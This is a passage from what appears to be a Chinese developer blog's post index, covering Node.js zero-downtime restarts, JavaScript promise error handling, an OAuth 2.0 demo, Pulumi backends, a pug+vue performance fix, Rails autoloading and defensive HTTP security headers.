更新了那為了不要讓影片太久,我會把所有時間都調短請求處理: 5s客戶 timeout: 6s強迫程式關閉: 2s (setTimeout 的時間)pm2 option –kill-timeout: 3s這邊要特別記住,pm2 啟用的時候的 kill timeout 也需要設置 (不設置的話預設是 1.6s)如果不設置,最終還是以 pm2 kill timeout 為主,如果強迫程式關閉的時間,大於這個 kill timeout那麼強迫程式關閉的時間就形同虛設,因為最終還是會吃 kill timeout 的時間讓我們來看看以下的例子吧!(這個例子就沒有特別設置 kill timeout 而是用預設的) 後記影片中的程式碼,放在附錄可以自行去測試但記得要安裝 pm2 才可以使用 要達到 zero downtime 不是一件很簡單的事情還有的是透過 load balancer 後面接了兩台機器然後每一台機器輪流更新,這樣也能達到 zero downtime 更新 附錄 - 程式碼12345678910111213141516171819202122232425262728293031323334353637// a.jsconst http = require(\"http\");const express = require(\"express\")const app = express()app.use(express.static(__dirname + \"/public\"))app.post(\"/test\", (req, res) => { let counter = 0; for (let i = 0; i < 100000000; i++) { counter+=1 } res.json({ counter })})const server = http.createServer(app)server.listen(3000, function() { console.log(\"server is up\")})process.on('SIGINT', () => { console.log(\"start closing\") server.close(() => { // Stop after 10 secs setTimeout(() => { process.exit(); }, 10000); }); // Force close server after 15 secs setTimeout((e) => { console.log('Forcing server close !!!', e); process.exit(1); }, 15000);}); 1234567891011121314151617// b.jsconst axios = require(\"axios\")async function main () { for (let i = 0; i < 5000; i++ ) { let data = await axios.post(\"http://localhost:3000/test\", {}, { timeout: 10 * 1000 }).then((response) => { return response.data }) console.log(i) console.log(data) } console.log(\"done\")}main()","link":"/2020/03/09/nodejs-zero-downtime/"},{"title":"callback, promise, async/await 使用方式教學以及介紹 Part II (Error Handling 介紹)","text":"上一篇主要是介紹如何使用這篇會介紹該如何去在每一種使用方式之中去做 Error Handling callback相信各位有在使用別人第三方套件或是 Node.js 原生的 Library 都會發現一件事情那就是 callback 第一個參數都會是 error雖然這看似是一個不成文的規定,但仔細想想把 error 放在第一個是非常合理的假設當 callback 參數回傳越來越多的時候,總不可能把 error 放在最後一個去處理因為你會始終不知道哪一個會是 error (就算寫註解也會讀到瘋掉)試想一下這幾段 code 就可以理解了 123456789101112131415function test(cb) { // 當 function 成功後 cb(successful_data_1, successful_data_2)}test((successful_data_1, successful_data_2) => { // 開心地處理兩個回傳的資料})// --- 分隔線 function test(cb) { // 當 function 失敗後 cb(error)}test((error) => { // 咦? 第一個到底是 error 還是我原本的 successful_data_1}) 當遇到上面的狀況就會變得非常難判斷,但如果我整體改寫成這樣就會變得輕而易舉 12345678910111213141516171819function test(cb) { // 當 function 成功後 cb(null, successful_data_1, successful_data_2)}test((error, successful_data_1, successful_data_2) => { if (error != null) { } // 開心地處理兩個回傳的資料})// --- 分隔線 function test(cb) { // 當 function 失敗後 cb(error)}test((error, successful_data_1, successful_data_2) => { if (error != null) { // 開心地處理 error, 於是 data_1 以及 data_2 就完全不用管他們了 }}) 當然有人會說『啊我就把所有參數丟到第一個當 Object 全部存起來,第二個就放 Error 也是一種方式啊』這樣講的話當然沒錯,但如果把所有東西都放在第一個 Object 裡面這樣參數就會有分類,使用問題也只是會徒增而已再加上這算是一種共識了,所以跟潛規則走會比較方便一點 promisePromise 處理 error 的方式就比較特別了,我們先來看看一般 promise 出錯的時候是怎麼抓取的 123456function test() { return new Promise((res, rej) => { rej(\"this is error\"); })}test().then((data) => {console.log(\"Get \" + data)}).catch((error) => {console.log(\"handle! \" + error)}); // this is error 上面為一般 promise 用 rej 的方式,外面用 catch 去抓住這個錯誤但凡事要考慮例外,萬一有一個 error 是你沒辦法 rej 到的話,那該要怎麼抓取? 123456function test() { return new Promise((res, rej) => { oqiwje() // non-exist function })}test().then((data) => {console.log(\"Get \" + data)}).catch((error) => {console.log(\"handle! \" + error)}); // this is error 會發現當在 Promise 裡面出錯的話,外面的 catch 也是能抓到的其原因是因為 Promise 是有被一層內部的 try-catch 給包住且在內部的 catch 那一邊套用了預設地 rej function所以外面才抓得到 那如果放在 Promise 外面的話呢?? 123456function test() { oqiwje() // non-exist function return new Promise((res, rej) => { })}test().then((data) => {console.log(\"Get \" + data)}).catch((error) => {console.log(\"handle! \" + error)}); 咦!? 竟然抓不到,error 直接噴出來!但這也不意外,因為出了 Promise 到了外面那就是要透過自己去寫 try-catch 才能抓取到這個錯誤 12345678910function test() { oqiwje() // non-exist function return new Promise((res, rej) => { })}try { test().then((data) => {console.log(\"Get \" + data)}).catch((error) => {console.log(\"handle! \" + error)});} catch (error) { console.log(\"handled by outer try-catch\");} 還有一種 Handle 方式是寫在內層 function 裡面 123456function test() { return new Promise((res, rej) => { oqiwje() // non-exist function }).catch(error => \"handle by inner function\")}test().then((data) => {console.log(\"Get \" + data)}).catch((error) => {console.log(\"handle! \" + error)}); // Get handle by inner function 那因為在 inner function 裡面被抓取到,並且回傳還記得 promise chain 中,如果 return 的話是會到下一個 then 去的所以這邊會被外面的 then 給抓到,而不是 catch,這邊要注意 Promise 的 Error Handling 只要能確保能執行到 rej 就沒什麼問題了然而在 Promise 之前用 try-catch 包起來或程式都丟到 Promise 裡面等他報錯丟出來也可以處理到 async/awaitawait catch error 的方式可以想成一般 try-catch 的方式 12345678910111213function test() { return new Promise((res, rej) => { rej(\"QQQ\"); });}async function main() { try { let result = await test() } catch (error) { console.log(\"Handled by main\") }}main() 而要特別注意的是,如果把 catch 寫在外面的 await 那裡的話會造成程式不會往最外層的 catch 前進 123456789101112131415function test() { return new Promise((res, rej) => { rej(\"QQQ\"); });}async function main() { try { let result = await test().catch(() => {console.log(\"Handled by await\")}) // 因為有正確被 handle 到,所以程式是會繼續下去執行的 console.log(\"Still going\") } catch (error) { console.log(\"Handled by main\") }}main() 但如果透過在 catch function 裡面把 error 再次 throw 出來的話,是可以成功 throw 出來 123456789101112131415161718function test() { return new Promise((res, rej) => { rej(\"QQQ\"); });}async function main() { try { let result = await test().catch(() => { console.log(\"Handled by await\") throw new Error(\"QQQQ\") }) // 因為在上面做 throw error,所以程式不會繼續走下去 console.log(\"Still going\") } catch (error) { console.log(\"Handled by main\") }}main() 千萬要注意 return 和 throw 的方式會帶來不一樣的結果使用 return 就跟 Promise 的 reject 的狀態下 return 是一樣的他會回傳到下一個 then 裡面 (也就是 resolved 的狀態) 12345678910111213141516171819function test() { return new Promise((res, rej) => { rej(\"QQQ\"); });}async function main() { try { let result = await test().catch(() => { console.log(\"Handled by await\") return new Error(\"QQQQ\") }) // 因為在上面做 return, 相當於是把結果回傳到 result 裡面了 console.log(result); // Error: QQQQ console.log(\"Still going\") } catch (error) { console.log(\"Handled by main\") }}main() 而個人比較不建議的寫法是在 await 那一層做 Error Handling而是盡量再底層那裡做 throw error 到最外面的 try-catch 去接原因是這跟 Design Pattern 有關係最外層的 main 可以想像是 Controller,而 test 可以想像成 Facade在裡面得程式才是真正的商業邏輯從下面程式來解讀的話,回家主要目的是要做功課那做功課一定會有流程,像是先吃飯,洗澡,最後在讀書這樣的順序但要怎麼吃飯洗澡讀書是要寫在每一個該做的項目的最裡面,而不會寫在順序那一層這樣程式撰寫上會比較乾淨一點 12345678910111213141516171819202122232425262728293031323334function eatFirst() { return new Promise((res, rej) => { setTimeout(() => { res(\"Error\"); }, 1000); });}function getBook() { return new Promise((res, rej) => { setTimeout(() => { res(\"Error\"); }, 1000); });}function writeIt() { return new Promise((res, rej) => { setTimeout(() => { rej(\"Books are ate by dogs!!!\"); }, 1000); });}async function doHomeWork() { await eatFirst() await getBook() await writeIt()}async function main() { try { let result = await doHomeWork(); } catch (error) { console.log(\"Handled by main\") }}main(); 後記這次主要介紹 Error Handling 的方式也加了一些個人建議撰寫的方法,如果有其他想法歡迎大家來討論!","link":"/2019/05/02/promise-2/"},{"title":"OAuth 2.0 介紹以及實作","text":"前言這篇文章會注重在 OAuth 2.0 的介紹OAuth 1.0 和 2.0 的差別其實蠻大的, 對角色的定義也有所不同OAuth 1.0 和 OAuth 2.0 的差別詳細可以看這篇文章 OAuth 1.0,1.0a 和 2.0 的之间的区别有哪些? 基本上 2.0 就是對 1.0 的角色重新定義簡化 1.0 的複雜流程, 以及強化 1.0 面臨到的安全問題但本質上的目的都是一樣, 並無改變 角色介紹我們先定義會參與 OAuth 2.0 流程中的所有角色為了不讓 OAuth 2.0 定義偏掉, 所以這邊部分名詞定義皆會用原文去表示先給予大前提, Client 代表的不是使用者, 而是應用程式 (購物網站等等) Resource Owner - 授權 Client 去取得 Resource Server 裡面存放的 Protected Resource, 也就是使用者本身 (end-user, 也稱終端使用者) Resource Server - 存放 Protected Resource 的伺服器,可以接受來自 Client 透過 Access Token 發出的請求。 Client - 代表 Resource Owner 去存取 Protected Resource 的應用程式. 像是各大購物商城的網站或是 APP Authorization Server - 認證過 Resource Owner 並且 Resource Owner 許可之後,核發 Access Token 的伺服器 Access Token - 獨一無二的識別號碼, 被 Client 帶在 Request 上, 並到 Resource Server 取得 Protected Resource Resource Owner 和 Authorization Server 可以是同個伺服器, 也可以是不同伺服器 流程介紹那我們就先用上面的名詞和角色來看看一個流程 Jack (Resource Owner) 最近上傳了去度假的照片 (Protected Resource) 到 photos.example.net (Resource Server)Jack 希望可以利用 printer.photos.net (client) 去列印上傳的照片 要取得照片, 勢必需要使用 Jack 的帳號密碼去登入但 Jack 不希望讓 printer.example.com 知道帳號密碼 於是 printer.example.com (client) 為了提供更好的服務去向 photos.example.net (Resource Server) 申請 OAuth 的服務photos.example.net (Resource Server) 提供 photos.example.net (Authorization Server) 給 client 這邊 Resource Server 和 Authorization 是同一台喔 當 printer.example.com (client) 要求 Jack 登入時會把 Jack 導到 photos.example.net (Authorization Server) 去進行登入 當 Jack 登入成功, 並按下 Approve 時photos.example.net (Authorization Server) 會核發一組暫時的 Grant Code並把 Jack 導回到 printer.photos.net (client) 此時 printer.example.com (client) 透過 Grant Code 向 photos.example.net (Authorization Server) 取得 Access Tokenprinter.example.com 就可以存取 Jack 在 photos.example.net (Resource Server) 上的照片 (Protected Resource) Grant Code 可以想像是去銀行排隊的時候拿的號碼牌拿著號碼牌到相對應的櫃檯, 櫃檯會給予服務, 同時號碼牌就也失去了效用此櫃檯給予的服務可以對應到 OAuth 的流程中, 也就是核發 Access Token 上述流程畫成圖的話, 如下 上面的流程就是 OAuth 2.0 的大致流程在核發 Grant Code 以及後續的 Access Token是屬於 OAuth 2.0 Grant Flows 的四項其中之一的 Authorization Code Grant Flow 接下來的實作也會以此 Grant Flows 去實作其他 Grant Flows 可以參考四種內建授權流程 簡易實作這裡就借用上一個 CAS 專案來進行修改 XD流程有了準備可以開始實作 OAuth 2.0, 但在實作前要先定義出目標和角色專案在 Gituhb 可以下載 OAuth Example 實作目標以及各需求角色的目的以使用者角度來說 (使用者是不會知道什麼是 OAuth) 『我希望在列印圖片的網站, 可以列印我上傳在照片雲端管理服務的照片 但我不想在列印圖片的網站進行登入並讓它知道我的帳號密碼』 以列印圖片的網站開發者來說 『我希望當使用者透過 OAuth 登入後, 我可以去取得使用者上傳在 OAuth 提供商的照片』 以 OAuth 提供商 (照片雲端管理服務) 來說 『我能夠提供使用者進行上傳照片, 且可開放 OAuth 登入讓第三方應用程式讀取使用者的照片』 各角色以及專案詳細資料各需求角色對應到 OAuth 2.0 角色如下 client - 列印圖片的網站 resource owner - 使用者本身 resource server - 使用者上傳照片的地方 (OAuth 提供商) authorization server - OAuth 提供商的授權伺服器 protected resource - OAuth 提供商裡面的使用者信箱和照片 接下來專案會分成兩個資料夾去進行程式開發 client → http://printer.example.com:4000 用 node + vue 建立列印(可讀取)圖片的網站, 可以點選使用 OAuth 登入 resources_server → http://photo.example.net:3000 用 node + vue 建立的網站, 使用可以上傳照片, 並讓 client 透過 Access Token 存取使用者上傳的照片 建立登入頁面, 讓 resource owner 登入, 並核發 Grant Code 給第三方應用程式 再讓第三方應用程式拿著 Grant Code 來取得 Access Token 啟用方式啟用流程如下, 特別要注意的是要設定 /etc/hosts 哦如果都在同一個 localhost 下面, 這樣 cookie 會錯亂 npm install or yarn npm run build 這裡只有一個 webpack 檔案, 會去 build 兩個不同網站的 vue source code node client/server.js node resource_server/server.js 設置 /etc/hosts 12127.0.0.1 printer.example.com127.0.0.1 photo.example.net 使用流程啟用成功後, 使用流程如下 打開 http://printer.example.com:4000 並點選 Go OAuth 此時會被跳轉到 http://photo.example.net:3000 進行登入 (username: 123, password: 123) 成功後會被跳回去 http://printer.example.com:4000 後, 就可以瀏覽相片 (但此時沒有) 另外開啟分頁打開 http://photo.example.net:3000/原本是需要登入的, 但因為剛剛 OAuth 的時候已經登入過, 所以可以直接進入到上傳圖片的頁面 開始上傳圖片, 出現上傳成功時, 回去 http://printer.example.com:4000 按下重整就可以看到剛剛上傳的圖片 影片 Demo 後記這邊就不詳細解釋程式的流程了, 因為發現寫一寫太多 XD畫面就留給他醜醜的 (有時間再回來美化 XD其他有興趣的再自己去看程式囉","link":"/2020/04/27/oauth-implement/"},{"title":"Pulumi Service 與 File System Backend 差異","text":"前言在前一篇 Pulumi 導入教學介紹#state-and-backend 中有提到不同 Backend 的差異。 但每一個不同的 Backend 有各自的優缺點,當然最好的是選用 Pulumi Service 他們本加自己的 Backend,詳細優點說明可以看 Deciding On a Backend 的說明。 這篇就是實際來操作直接使用 pulumi host service 跟用 file system 的差異去驗證 Pulumi 說明的是否正確,不過有些點我沒有頭緒驗證,所以只能驗證一些能重現的情境 XD Concurrent通常在執行 pulumi up 的時候,有可能會出現同時有兩個人在運行,我們就來直接看實際差異吧! 以下是用 tmux synchronize-panes 去做同時操作,所以會有左右各一個畫面出現。 S3 Bucket當我同時執行 pulumi up,Pulumi 會先嘗試去建立 lock file,會發現是互相鎖起來的。 原因是在 Update 的程式碼裡面,有一段呼叫 Lock 程式碼。 這個 Method 在建立 Lock 的同時,前後都會檢查一次 Lock,所以才互相撞到。 Pulumi Service當我改用 pulumi 時會發現,有一邊被 reject 掉,另一邊接著就會成功執行,個人猜測應該類似用 increment ID + unique key 去避免 concurrent request。 另外還有跟 Concurrent 無關的優點,是直接用 Pulumi Serviec 就可以不需要設定 PULUMI_CONFIG_PASSPHRASE or PULUMI_CONFIG_PASSPHRASE_FILE 算是蠻方便的。 後記很可惜目前只能想到這 Case 去驗證,之後等到實作遇到更多的案例再來分享在這了! .emgithub-container code.hljs { color: unset; background: unset; line-height: 18px; }","link":"/2022/03/13/pulumi-tutor-2/"},{"title":"前後端尚未分離前導致的效能問題 (nodejs + pug + vue)","text":"前言在 vue 剛出來那時候, 還不盛行前後端分離的架構在那時某些專案選擇了用 nodejs + pug + vue 混合式的架構 在 node.js render 的時候, 給予一個 template然後在此 template 去寫 vue 的元件來達成這個混合架構但這種混合架構在使用 vue 的 props 去賦值時, 可能會出現很嚴重的效能問題 如何重現通常在使用 nodejs + pug render 的情況下, template 內容大致如下 123div.container div.content p this is message 加了 vue 之後大致上會變成這樣 12div.container content-component(message="") 這裡隱藏了一個會影響效能的 Bug但我們先來說說, 加上了 pug 的情況下, 是如何運行首先, 透過 nodejs + pug 會先去渲染成 html這個 html 就是在進入頁面的時候, 伺服器給予的所以上面的內容會變成如下 123<div class=\"container\"> <content-component message=\"this is message\"></content-component></div> 你的瀏覽器就會接收到以上的內容接著 vue 就會開始去 parse content-component但是當 message 的內容過大的時候, 就會導致 vue parse html 時間過長 實際案例這裡用一個例子舉例, 在後端我建構一個這樣的物件12345678910111213141516let obj = {}for (let i = 0; i < 200000; i++) { obj[i] = "qowiejqowiejr" obj[i+"www"] = "qowiejqowiejr" obj[i+"sss"] = "qowiejqowiejr" obj[i+"aaa"] = "qowiejqowiejr" obj[i+"ssssqwe"] = "qowiejqowiejr" obj[i+"qwrwwww"] = "qowiejqowiejr" obj[i+"qwrwsss"] = "qowiejqowiejr" obj[i+"qwrwaaa"] = "qowiejqowiejr" obj[i+"qwrwssssqwe"] = "qowiejqowiejr"}// 並在此 express route 去 render 出 pugapp.get('test', (req, res) => { res.render("index", {messge: JSON.stringify(obj)})}) 這裡可以看到當這個 props 給太大, 導致 html 的大小達到 89.6 MB 因為這裡太大無法顯示, 這裡用小一點的看一下從 Server 回傳的 HTML 如下所以當資料太大放在 props 的時候, 就會導致 html 大小越來越大 接著用 chrome 的 performance 去分析效能會看到 Scripting 就高達 14s 接著再往下看是哪些 Scripting 影響到要執行那麼久這裡就看到是 vue parse html 需要花上 14s, 才能 parse 完成也就是你要等超過 14s, 你才看得到 component 的內容 改善方法要改善這個效能問題, 可以透過不要在 pug 裡面直接用 props 的方式給予值改成在 mounted 或是其他 life cycle 情況下去取得值還會更快在 vue template 裡面就會變成這樣 123456789101112131415<script>import axios from "axios";export default { data () { return { message: "" } }, mounted() { axios.get("/test-get-data").then(response => { this.message = response.data }) }}</script> 在 pug 中就可以把 props 拿掉12div.container content-component 這樣解析成 html 就變成下面這樣, 就可以讓 HTML 大小變小123<div class=\"container\"> <content-component></content-component></div> 從這裡可以看到大小縮小, 後來用 mounted 取得資料是 53MB等於說我們讓 vue 少去 parse 這 53MB 的字串了 然後 Scripting 的時間直接變成剩下 873 ms 往後繼續看 parse html 只剩 2ms 後記以前 vue 1.0 剛出來的時候, 先暫時套用在某個專案上後來資料量大了才發現不能透過這樣 render 會導致 html 太大但現在大多都是前後端分離的架構, 所以會比較少遇到這個問題剛好最近在舊的專案上面遇到這個 Bug, 順帶紀錄一下","link":"/2020/08/22/pug-with-vuejs/"},{"title":"callback, promise, async/await 使用方式教學以及介紹 Part I","text":"[Update 2019-05-02] 關於 Error Handing 可以看下一篇文章 這篇主要紀錄 callback, promise, async/await 的使用方式以及如何從到 callback 和 promise 的 hell world 進入到 async/await 這兩兄弟的世界建議閱讀的人要有 Javascript 的基礎概念,包括對 non-blocking, event-driven 的觀念有一些涉略 CallbackCallback 是 JS 很常用的一種使用方式簡單來說,就是把 function 當作參數傳進去使用以下是簡單的使用範例123456789101112function test() { console.log(\"This test function is done.\")}function main(callback) { console.log(\"This is main start.\") callback() console.log(\"This is main end.\")}main(test)// This is main start.// This test function is done.// This is main end. 但是 callback 使用上往往沒那麼簡單,基本上都會牽扯到 API 相關的用法所以會變成下面這樣的方式12345678910111213141516function test() { // 這邊模擬 test 這個 function 去 call 其他 API 要等待的情況 // 等了一秒後才會執行 console.log 這個函式 setTimeout(()=> { console.log(\"This test function is done.\") }, 1000)}function main(callback) { console.log(\"This is main start.\") callback() console.log(\"This is main end.\")}main(test)// This is main start.// This is main end.// This test function is done. 這邊會發現,This is main end. 反而先執行印出來了, 這裡牽扯到 non-blocking 的概念, 將會放在別的章節重新介紹那如果我想要 This is main end. 在最下面的話該怎麼做呢?做法上只要把執行 This is main end. 的函示也當成 callback 傳進去就可以按照順序執行下來了123456789101112131415161718function test(callback2) { // 這邊模擬 test 這個 function 去 call 其他 API 要等待的情況 // 等了一秒後才會執行 console.log 這個函式 setTimeout(() => { console.log(\"This test function is done.\") callback2() }, 1000)}function main(callback) { console.log(\"This is main start.\") callback(() => { console.log(\"This is main end.\") })}main(test)// This is main start.// This test function is done.// This is main end. 用 callback 解決的非同步的問題, 但是當越來越多 callback 串再一起就會變成 callback hell, 如同下面這樣12345678910111213141516171819202122232425function api1(callback) { setTimeout(() => { console.log(\"Done with api1\") callback() }, 2000)}function api2(callback) { setTimeout(() => { console.log(\"Done with api2\") callback() }, 1000)}function main(callback) { api1(() => { api2(() => { callback() }) })}main(() => { console.log(\"All function is done.\")})// \"Done with api1\"// \"Done with api2\"// \"All function is done.\" 當越來越多 API 要按照順序做下去的時候就會很恐怖了,會變成這樣123456789api1(() => { api2(() => { api3(() => { api4(() => { // bla bla bla }) }) })}) Promise介紹完 callback 之後,一定要介紹他的好兄弟 PromisePromise 是一個可以對非同步進行處理以及進行各種操作的東西通常 Promise 會包含三種狀態 resolve reject pendingresolve 代表成功 rejetc 代表失敗, pending 代表還在處理中, 結束狀態未知以下有兩種方式得知結果resolve 會觸發 onSuccessful, reject 會觸發 onFailedpromise.then(onSuccessful, onFailed)promise.then(onSuccessful).catch(onFailed)以下是 Promise 的使用範例123456789101112131415161718192021222324function test(number) { return new Promise((resolve, reject) => { if (number === 1) { resolve(\"Success\") } else { reject(\"Failed\") } })}function main() { test(1).then((result) => { // result === \"Success\" console.log(result) }).catch((error) => { // 不會被執行, 因為狀態是成功 }) test(2).then((result) => { // 不會被執行, 因為狀態是失敗 console.log(result) }).catch((error) => { // error === \"Failed\" console.log(error) })} Promise 的基本介紹完之後,一定都會提到一個 Promise Chain 的概念簡單來說就是我可以一直 then 下去,直到海枯石爛, 只要我在 resolve 或是 reject 的狀態下,return 任何東西都可以 then 下去12345678910111213141516171819202122232425262728293031function test(number) { return new Promise((resolve, reject) => { if (number === 1) { resolve(\"Success\") } else { reject(\"Failed\") } })}function main() { test(1).then((result) => { // result === \"Success\" console.log(result) // return \"Next One\" return test(1) }).then((result) => { // result === \"Next One\" console.log(result) })}function main2() { test(2).then((result) => { // result === \"Success\" console.log(result) // return Promise 的物件也是可以的喔 return test(1) }).then((result) => { // result === \"Success\" console.log(result) })} 但是按照這樣的寫法下去, 又會變成另一種 then hell 的概念於是接下來出現了 async/await 這兩兄弟 async/awaitasync/await 基本上是一種語法糖, 把 Promise 的重新包裝起來然後做使用可以不用再透過 then 的方式去執行 Promise使用方式會變成以下這樣123456789101112131415function test(number) { return new Promise((resolve, reject) => { if (number === 1) { resolve(\"Success\") } else { reject(\"Failed\") } })}async function main() { var result = await test(1) // result === \"Success\" console.log(result)}main() 記得在使用 await 的時候, function 前面一定要加上 async所以當我有很多 API 要使用的話, 就會變得很乾淨12345async function main() { let result1 = await test1() let result2 = await test2() let result3 = await test3()} 結語這 Part 主要是快速介紹使用教學方式下一部分會介紹在這三種使用方式裡面是如何做到 Error Handling","link":"/2018/07/22/promise/"},{"title":"Rails Class/Module Autoloading 機制","text":"前言在 Ruby 中如果要使用其他 class / module 是需要透過 require / load 去引用 12345678910# main.rbrequire \"./cool\"Cool.hi# cool.rbclass Cool def self.hi pp \"hi\" endend 但有在寫 Rails 的會發現,根本不用去 require / load 進來那是因為 Rails 中有一個特別的機制,叫做 autoloading 來幫忙解決這件事但 autoloading 是有對應的演算法和機制去找並不是在 rails 中任意新增檔案就可以觸發成功這篇文章就會稍微說明 rails 透過什麼樣的規則去找到對應的檔案 $LOAD_PATH在提到 rails autoloading 之前,我們先來聊聊 $LOAD_PATH有發現我開頭的範例是用 require "./cool" 這種相對路徑的方式嗎?為何沒辦法使用 require "cool" 去引用呢? 其實原因是 ruby 在用 require / load 的時候,會到 $LOAD_PATH 裡面找對應的檔案也就代表說,我可以把自己定義的路徑塞到 $LOAD_PATH 裡面,就可以直接用 require "cool" 的方式 1234567891011# main.rb$LOAD_PATH << Dir.pwdrequire \"cool\"Cool.hi# cool.rbclass Cool def self.hi pp \"hi\" endend 之前寫過 node.js 的原因,看到這裡還蠻熟悉的require 不指定路徑也是直接到 node_module 裡面找 但有一個要特別注意的點,也就是 ruby 會尋找在 class / module keyword 後面對應的字串也就是説,如果 cool.rb 的 class 是叫做 CoolYo 的話,就會噴出 uninitialized constant Cool (NameError) 這個錯誤出現可以嘗試用以下的 Code 去運行看看,就會發現有問題因為 ruby 預期的 claass / module name 應該是要跟檔案名稱一樣才對 1234567891011# main.rb$LOAD_PATH << Dir.pwdrequire \"cool\"Cool.hi# cool.rbclass CoolYo def self.hi pp \"hi\" endend 這就是核心概念,理解這個之後 Rails 中的 autoloading 就會更好懂了 autoload_paths換到 rails 中,可以透過 config.autoload_paths 去定義但跟 ruby 不太一樣的是,rails 會預設幫你把一些路徑給加進去舉例來說 app/* app/*/concerns 這些路徑,會自動被加入 autoloading rules接著我們來實際看例子來了解 rails autoloading 的規則 12345module Admin class BaseController < ApplicationController @@all_roles = Role.all endend 可以看到以上的程式中用到 Role.all,這裡的 Role nested namespace 會被解析成 123Admin::BaseController::RoleAdmin::RoleRole 這邊來快速解釋為何是以上那樣,其實直接用印出 Module.nesting 的內容就知道 123456module Admin class BaseController pp Module.nesting endend# [Admin::BaseController, Admin] 所以在 BaseController 裡面用到 Role 就會被接在 namespace 後面[Admin::BaseController::Role, Admin::Role, Role]接著會被對應到以下路徑 123admin/base_controller/role.rbadmin/role.rbrole.rb 接著就會用以上三個 path 配合 autoload_paths 去找到對應的檔案舉例來說預設 app/model 是我們的 autoload_paths,他就會到以下路徑去找 role.rb 123app/model/admin/base_controller/role.rbapp/model/admin/role.rbapp/model/role.rb 所以可以反過來看如果我的檔案放在 app/model/post/cool.rb 底下,我的 class 要怎麼取才是正確的呢? 就是叫做 class Post::Cool 即可,你改動 class 名稱、資料夾名稱或是檔案名稱,都會導致失效進而拿到 NameError (uninitialized constant Post::Cool) 的結果 可以用 ./bin/rails console 進去後直接呼叫 Post::Cool 去測試,就知道有沒有 autoload 成功 接著來看看 module 的話,通常會在 module 裡面定義 class 1234module Nice class Yo endend 以上被解析成 Nice::Yo,所以可以聯想到檔案路徑必須為 nice/yo.rb至於我放在 app/controller/nice/yo.rb 或是 app/model/nice/yo.rb 都可以因為在 autoload_paths 裡面就有這兩個的路徑 那如果我在 authoload_paths 加上 app/model/nice 的話當我使用 Nice::Yo,他的檔案配置要如何放置呢? 答案是放在 app/model/nice/nice/yo.rb 裡面,但這樣很奇怪於是就會改成用 Yo,然後把多的 nice 改給刪掉變成 app/model/nice/yo.rb 就比較合理一點 所以當你的資料夾如果有被涵蓋在 autoload_paths 底下的時候,就不需要把他當作前綴 特別的規則有一項在 Automatic Modules 提到,當如果是使用 module 的話rails 不會強制你一定要建立檔案,而是資料夾名稱有對到即可 舉例來說,建立 app/model/nice 資料夾, 接著使用 Nice 的時候,並不會錯誤rails 會幫你建置一個空的 Nice module 讓你去使用 我不確定這功能可以幹嘛,但蠻特別的就順便介紹 後記以上簡單介紹了 autoloading 的一些規則,應該足以應付大部分的規則官方文件中還有蠻多詳細的說明,也可以建議讀官方文件更清楚唷! References以下都是官方的來源唷 autoload_paths Autoloading Algorithms","link":"/2021/10/02/rails-autoload-path/"},{"title":"增加安全性的 HTTP Headers","text":"最近遇到需要增進網站安全性的問題於是 survey 了幾個常見的 header 設置方式接下來會開始介紹每一個 header 的功能以及設置方式以及可以到這個網站進行檢測 https://securityheaders.io/個人習慣是用 nodejs + express,所以以下使用方式都會是以 express 為主 Set-Cookie 設置方式防禦面向為: XSS Set-Cookie 基本上是最多人使用的,但是 Set-Cookie 的設置方式如果沒有設定好是不安全的Set-Cookie 有以下兩個 header 可以設定 HttpOnly設置 HttpOnly 的 cookie 之後,會沒辦法用 document.cookie 的方式(任何 javascript)去存取 cookie Secure強制 cookie 只能在 HTTPS protocol 的環境下進行傳遞簡單來說設置 Secure 的 cookie 之後在非 HTTPS 的環境底下是會失效的 使用方式1234res.cookie('cookie_name', 'jack', { httpOnly: true, secure: true}) X-XSS-Protection防禦面向為: XSS 設定之後,如果瀏覽器偵測到 XSS 的攻擊,會根據設置的屬性做不同的反應p.s. 這個是舊有的屬性,基本上可以被 Content-Security-Policy 取代但是還是可以為那些沒有支援 Content-Security-Policy 的瀏覽器提供一層保護 X-XSS-Protection 有以下四個值可以設定 0關閉 XSS 過濾功能 1開啟 XSS 過濾功能,如果偵測到 XSS 攻擊的話,瀏覽器會刪除不安全的部分 1; mode=block開啟 XSS 過濾功能,如果偵測到 XSS 攻擊的話,瀏覽器不會把網頁給渲染出來 1;report= (Chromium only)開啟 XSS 過濾功能,如果偵測到 XSS 攻擊的話,瀏覽器會回報到指定的 URI 使用方式1234res.setHeader('X-XSS-Protection', '0')res.setHeader('X-XSS-Protection', '1')res.setHeader('X-XSS-Protection', '1; mode=block')res.setHeader('X-XSS-Protection', '1;report=https://www.example.com') Content-Security-Policy防禦面向為: XSS Content-Security-Policy 是一個可以限制網站的 script object style font 的來源主要是用白名單的方式限制,甚至可以限制不允許 eval 這種東西出現簡單來說設定 Content-Security-Policy 之後,只有白名單內的 resource 可以存取因為值很多種,所以以下用例子來解釋,詳細可以參考 Content-Security-Policy但基本上有以下幾種可以設定 default-src script-src img-src font-src frame-src 1res.setHeader('Content-Security-Policy', \"default-src 'self'; script-src 'self' *.google.com 'unsafe-eval'; img-src 'self' *.amazonaws.com data:\") 以上面的例子來說default-src ‘self’ 代表網站 resource 只能讀取自己網站的,default 代表如果在其他設置欄位沒找到的話,會根據 default-src 為主script-src ‘self’ .google.com ‘unsafe-eval’ 代表我用的 script src 可以存取自己網站以及 .google.com 底下,以及可以允許 evalimg-src ‘self’ .amazonaws.com data:代表我用的 script src 可以存取自己網站以及 .amazonaws.com 底下,以及比較特別的是可以存取 base64 格式的 image data X-Frame-Options防禦面向為: Clickjacking X-Frame-Options 主要是設定網站是否能被其他網站透過 iframe frame 的方式遷入X-Frame-Options 有以下三個值可以設定 DENY不允許被任何網站用 iframe 的形式嵌入的假設在 www.example.com 設置了 X-Frame-Options: DENY 的話在 www.google.com 的話,是不能 html 裡面嵌入 <iframe src="www.example.com"></iframe> SAMEORIGIN允許同源底下的網站,用 iframe 方式嵌入 ALLOW-FROM設定白名單的 list 使用方式123res.setHeader('X-Frame-Options', 'DENY')res.setHeader('X-Frame-Options', 'SAMEORIGIN')res.setHeader('X-Frame-Options', 'ALLOW-FROM https://example.com') X-Content-Type-Options用途: 避免瀏覽器誤判文件形態 X-Content-Type-Options 是拿來防止 Content-Type 被竄改比較要注意的是,這個屬性只會套用在 script style如果 style 的 content-type 不是 text/css 就會被拒絕如果 script 的 content-type 不是 javascript MIME type 就會被拒絕 使用方式1res.setHeader('X-Content-Type-Options', 'nosniff') Strict-Transport-Security防禦面向: 強迫用戶使用 HTTPS,防範 MITM 攻擊 Strict-Transport-Security 是強化 HTTPS 機智的一種方式設置之後,即使是用 HTTP 連線,還是會被轉去使用 HTTPS 連線 